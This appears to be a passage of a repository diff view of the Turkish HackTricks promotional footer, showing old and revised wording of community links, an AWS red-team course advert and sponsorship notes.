Hacking'in heyecanını ve zorluklarını inceleyen içeriklerle etkileşime geçin
|
||||
|
||||
**Gerçek Zamanlı Hack Haberleri**\
|
||||
Hızlı tempolu hacking dünyasını gerçek zamanlı haberler ve içgörülerle takip edin
|
||||
|
||||
**En Son Duyurular**\
|
||||
Yeni ödül avcılıklarının başlatılmasını ve önemli platform güncellemelerini takip edin
|
||||
Yeni ödül avı başlatmaları ve önemli platform güncellemeleri hakkında bilgi edinin
|
||||
|
||||
**Bize Katılın** [**Discord**](https://discord.com/invite/N3FrSbmwdy) ve bugün en iyi hackerlarla işbirliğine başlayın!
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Sıfırdan kahraman olacak şekilde AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Sıfırdan Kahraman'a AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
|
||||
|
||||
HackTricks'i desteklemenin diğer yolları:
|
||||
HackTricks'ı desteklemenin diğer yolları:
|
||||
|
||||
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'ı PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimizle**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
|
||||
* **Hacking hilelerinizi paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya Twitter'da** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'u takip edin.**
|
||||
* **Hacking hilelerinizi paylaşarak HackTricks ve HackTricks Cloud** github depolarına PR'lar göndererek katkıda bulunun.
|
||||
|
||||
</details>
|
||||
|
|
Loading…
Add table
Reference in a new issue